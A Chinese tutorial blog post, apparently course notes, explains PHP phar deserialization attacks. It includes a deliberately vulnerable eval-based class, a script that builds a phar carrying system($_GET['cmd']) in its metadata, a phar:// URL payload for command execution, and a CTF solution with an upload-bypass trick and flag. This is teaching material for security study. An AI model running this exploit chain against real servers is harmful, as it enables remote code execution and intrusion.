WEB渗透—PHP反序列化(十一)

news2025/7/18 1:26:32

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


二十一、phar反序列化原理

1.什么是phar

JAR是开发Java程序的一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。

PHAR(“Php ARchive”)是PHP里类似于JAR的一种打包文件

对于PHP 5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。

文件包含:phar伪协议,可读取.phar文件。

Phar的结构:

1)stub phar        文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>; (头部信息)

2)manifset        压缩文件的属性等信息,以序列化存储;

3)contents        压缩文件的内容;

4)signature        签名,放在文件末尾

  Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

压缩:

<?php
$phar = new Phar('test2.phar',0,'test2.phar');   //创建一个test2.phar文件
$phar->buildfromDirectory('f:\0Day');            //添加0Day文件夹内的所有文件添加到test2.phar文件中
$phar->setDefaultStub('test.txt','test.txt');    //设置执行时的入口文件,第一个用于命令行,第二个用于浏览器访问,这里都设置为"test.txt"
?>

new Phar可以创建一个 PHAR 文件对象,在例题中传入了三个参数:文件名、文件的压缩模式(0 表示不压缩)以及 PHAR 文件内部的别名(可选)。

buildfromDirectory方法的作用是将指定目录中的文件添加到 PHAR 文件中。它会递归地遍历目录下的所有文件和子目录,并将它们添加到 PHAR 文件的内容中

setDefaultStub方法的作用是设置 PHAR 文件的默认入口点。入口点是指在执行 PHAR 文件时,首先执行的文件或脚本。

解压缩:

<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');        //将PHAR文件中的内容提取到指定的目录test
?>

extractTo方法的作用是将 PHAR 文件中的内容提取到指定的目录。它接受一个参数,即目标目录的路径,将 PHAR 文件中的所有文件和目录提取到该目录中。

2.Phar漏洞原理

manifset压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;

调用phar伪协议,可读取 .phar 文件;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

Phar需要PHP>=5.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

受影响的函数

fileatime

filectime

file_exists

file_get_contents

file_put_contents

file

filegroup

fopen

fileinode

filemtime

fileowner

fileperms

is_dir

is_executable

is_file

is_link

is_readable

is_writable

is_writeable

parse_ini_file

copy

unlink

stat

readfile

3.漏洞实验验证

index.php

<?php
class Testobj{
    var $output="echo 'ok';";
    function __destruct(){             //反序列化Testobj触发__destruct(),调用output值
        eval($this->output);
    }
}
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];       //提交文件名filename,file_exists读取文件
    var_dump(file_exists($filename));  //检查文件是否存在
}
?>

file_exists有文件包含功能,可调用phar伪协议,读取test.phar

phar.php

<?php
class Testobj{
    var $output='';
}
@unlink('test.phar');              //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');       //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();           //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');    //写入stub
$o=new Testobj();
$o->output='system($_GET["cmd"]);';
$phar->setMetadata($o);                           //写入meta-data
$phar->addFromString("test.txt","test");          //添加要压缩的文件
$phar->stopBuffering();
?>

注意:需要PHP>=5.2在php.ini中将phar.readonly设为Off

思路: 

1)生成phar文件test.phar,给其中output赋值为system($_GET["cmd"]);

2)Phar协议解析文件时,会自动触发manifest字段的序列化字符串进行反序列化

3)反序列化触发__destruct(),执行eval($this->output);

4)而反序列化后output='system($_GET["cmd"]);',cmd的值变得可控

5)构造payload:URL?filename=phar://test.phar&cmd=whoami

4.Phar漏洞条件

1)phar文件能上传到服务器端;

(可手动修改后缀,不识别后缀名)

2)要有可用反序列化魔术方法作为跳板;

(需要有__wakeup()、__destruct()魔术方法)

3)要有文件操作函数;

(如file_exosts($filename),fopen(),file_get_contents())

4)文件操作函数参数可控,且 :/phar 等特殊字符没有被过滤


二十二、phar反序列化例题

1.实例代码

目标:输出flag

<?php
class TestObject {
    public function __destruct() {    //反序列化TestObject()触发__destruct执行echo $flag
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];           //通过POST提交file赋值$filename
if (isset($filename)){                //判断是否有$filename值传递
    echo md5_file($filename);         //计算文件的MD5值
}
//upload.php
?> 

md5_file()是一个PHP内置函数,用于计算指定文件的MD5值

根据例题中的提示,我们发现了upload.php页面,可以进行文件上传

判断是否具有Phar漏洞条件:

        1)phar文件能上传到服务器端( /upload.php )

        2)要有可反序列化魔术方法作为跳板( __destruct() )

        3)要有文件操作函数( md5_file )

        4)文件操作函数参数可控( $POST['file'] )

2.解题代码

<?php
class TestObject{
}
@unlink('test.phar');           //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');    //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();        //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');      //写入stub
$o=new TestObject();
$phar->setMetadata($o);                             //写入meta-data
$phar->addFromString("test.txt","test");            //添加要压缩的文件
$phar->stopBuffering();
?>

利用php脚本创建一个phar文件,其中 mate-data 里放置一个包含TestObject()的序列化字符串

3.解题步骤

1)生产一个phar文件,在mate-data里放置一个包含TestObject的序列化字符串;

2)上传文件,需要更改文件后缀为图片png格式(phar伪协议不对后缀名进行检测),进行绕过,并得到上传文件存放目录;

3)利用POST传参和phar伪协议传递phar文件路径,md5_file执行phar伪协议,触发反序列化;

4)反序列化TestObject触发__destruct()执行echo $flag,得到flag。

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1345108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何在iterm2的命令行中快速移动

文章目录 一、打开Preferences设置二、进行key的映射三、修改键值四、参考文献 一、打开Preferences设置 二、进行key的映射 三、修改键值 四、参考文献 Mac下iTerm2光标按照单词快速移动设置

《企业数据资源相关会计处理暂行规定》学习笔记

附&#xff1a;2023年数据资源入表白皮书下载&#xff1a; 关注WX公众号&#xff1a; commindtech77&#xff0c; 获得数据资产相关白皮书下载地址 1. 回复关键字&#xff1a;数据资源入表白皮书 下载 《2023数据资源入表白皮书》 2. 回复关键字&#xff1a;光大银行 下载 光…

AIGC与计算机技术:人工智能生成内容的深度探索

AIGC与计算机技术&#xff1a;人工智能生成内容的深度探索 摘要&#xff1a;随着人工智能技术的快速发展&#xff0c;AIGC&#xff08;人工智能生成内容&#xff09;成为了计算机领域的前沿话题。本文将详细探讨AIGC的基本原理、技术应用和未来发展趋势&#xff0c;以及它对计…

OpenCV(Python)基础—9小时入门版

OpenCV(Python)基础—9小时入门版 # # Author : Mikigo # Time : 2021/12/1 # 一、一句话简介 OpenCV (Open Source Computer Vision Library) 是用 C 语言编写&#xff0c;提供 Python、Java 等语言 API的一个开源计算机视觉库。 二、安装 1、Debian 系使用 apt 安装 O…

Zookeeper-Zookeeper应用场景实战

1. Zookeeper Java客户端实战 ZooKeeper应用的开发主要通过Java客户端API去连接和操作ZooKeeper集群。 可供选择的Java客户端API有&#xff1a; ZooKeeper官方的Java客户端API。 第三方的Java客户端API&#xff0c;比如Curator。 ZooKeeper官方的客户端API提供了基本的操作…

【Transformer】深入理解Transformer模型1——初步认识了解

前言 Transformer模型出自论文&#xff1a;《Attention is All You Need》 2017年 近年来&#xff0c;在自然语言处理领域和图像处理领域&#xff0c;Transformer模型都受到了极为广泛的关注&#xff0c;很多模型中都用到了Transformer或者是Transformer模型的变体&#xff0…

jmeter函数助手-常用汇总

一.函数助手介绍 1.介绍及作用 介绍&#xff1a; jmeter自带的一个特性&#xff0c;可以通过指定的函数规则创建后进行调用该函数&#xff0c;在后续接口请求参数中进行调用 作用 &#xff08;1&#xff09;做参数化。 2.如何使用 jmeter工具栏-->工具-->函数助手…

【用户增长】引言:浅析游戏运营用户增长概念

1 游戏发行运营中的主要职能&#xff1a; ​ 一、发行运营通识l 运营介绍&#xff1a;职能分工、发行运营流程、职业发展能力及要求l 品类认知&#xff1a;行业品类布局、品类用户画像、运营节奏及特性&#xff0c;包含不同品类核心打法及长线运营思路l 海外运营&#xff1a;海…

旭日X3派开发板部署自己的yolov5模型

目录 使用Docker环境Docker镜像使用Docker配置阿里云镜像源准备模型和数据集模型验证模型转换模型准备准备校准数据转换模型 模型上板运行运行示例程序 模型调优 参考&#xff1a;AI工具链 环境部署&#xff0c;地平线X3J3算法工具链手册环境安装 使用Docker环境 在完成Docke…

Python中property特性属性是什么

在Java中&#xff0c;通常在类中定义的成员变量为私有变量&#xff0c;在类的实例中不能直接通过对象.属性直接操作&#xff0c;而是要通过getter和setter来操作私有变量。 而在Python中&#xff0c;因为有property这个概念&#xff0c;所以不需要写getter和setter一堆重复的代…

Java介绍

Java 是一门纯粹的面向对象编程语言&#xff0c;它吸收了C的各种优点&#xff0c;还努力摒弃了C里难以理解的多继承、指针等概念&#xff0c;真正地实现了面向对象理论&#xff0c;因而具有功能强大和简单易用两个特征。 除了基础语法之外&#xff0c;Java还有许多必须弄懂的特…

接口自动化测试之接口数据依赖

一般在做自动化测试时&#xff0c;经常会对一整套业务流程进行一组接口上的测试&#xff0c;这时候接口之间经常会有数据依赖&#xff0c;那又该如何继续呢&#xff1f; 那么有如下思路&#xff1a; 抽取之前接口的返回值存储到全局变量字典中。初始化接口请求时&#xff0c;…

【办公技巧】怎么批量提取文件名到excel

Excel是大家经常用来制作表格的文件&#xff0c;比如输入文件名&#xff0c;如果有大量文件需要输入&#xff0c;用张贴复制或者手动输入的方式还是很费时间的&#xff0c;今天和大家分享如何批量提取文件名。 打开需要提取文件名的文件夹&#xff0c;选中所有文件&#xff0c…

.FileZilla的使用和主动模式被动模式介绍

FileZilla的使用和主动模式被动模式介绍 1.FileZilla的使用和主动模式被动模式介绍1.安装下载2.新建组和用户2.1打开后出现如下界面2.2点击编辑打开组这个选项2.3点击添加组以后&#xff0c;点击确认2.4输入组的名称&#xff0c;列如我输入的niyin2.5点击用户选项2.6像上面一样…

ArkUI按钮组件深入学习:通过点击按钮实现图片大小调整效果

文章目录 前言Button组件控制 Button 样式实现点击按钮改变图片大小文章总结技术回顾前言 在前面几节课中,我们已经学习了 ArkUI 提供的一些常见组件,通过一个小案例实现了 image text 和 text input 组件的使用。我们成功地让用户通过输入来改变图片的宽度,从而实现了一个…

算法训练营Day26

#Java #全排列 #回溯 开源学习资料 Feeling and experiences&#xff1a; 递增子序列&#xff1a;力扣题目链接 给你一个整数数组 nums &#xff0c;找出并返回所有该数组中不同的递增子序列&#xff0c;递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组…

基于ssm社区生鲜电商平台论文

目 录 摘 要 I Abstract II 1 绪论 1 1.1研究背景 1 1.2研究现状 1 1.3研究内容 2 2 相关技术简介 3 2.1 B/S结构 3 2.2 MYSQL数据库 3 2.3 Java简介 4 2.4 SSM框架简介 5 3 系统分析 7 3.1 可行性分析 7 3.1.1 技术可行性 7 3.1.2 经济可行性 7 3.1.3 操作可行性 7 3.1.3 法律…

GBASE南大通用-GBase 8s数据库日志模式及切换

一、 GBase 8s数据库共有以下 4 种日志模式&#xff1a;无日志模式、缓冲日志模式、无缓冲日志模式、ANSI 模式。详细介绍如下&#xff1a; 1、无日志模式&#xff08;Non logging&#xff09;&#xff1a; 采用无日志模式时&#xff0c;所有 DML 操作都不会被记录到日志中&…

SQL Server 存储过程 触发器 事务处理

CSDN 成就一亿技术人&#xff01; 难度指数&#xff1a;* * CSDN 成就一亿技术人&#xff01; 目录 1. 存储过程的作用 创建存储过程 2. 触发器 触发器的种类 insert触发器 update触发器 delete触发器 测试 3. 事务 开始事务 提交事务 回滚事务 举个实例 在 SQ…

Python编程技巧 – format格式化文本

Python编程技巧 – format格式化文本 Python Programming Essentials - Using format() to format texts By JacksonML 本文简要介绍Python语言的format()方法&#xff08;也即函数&#xff09;相关实例和技巧&#xff0c;希望对读者有所帮助。 1. format定义和方法 forma…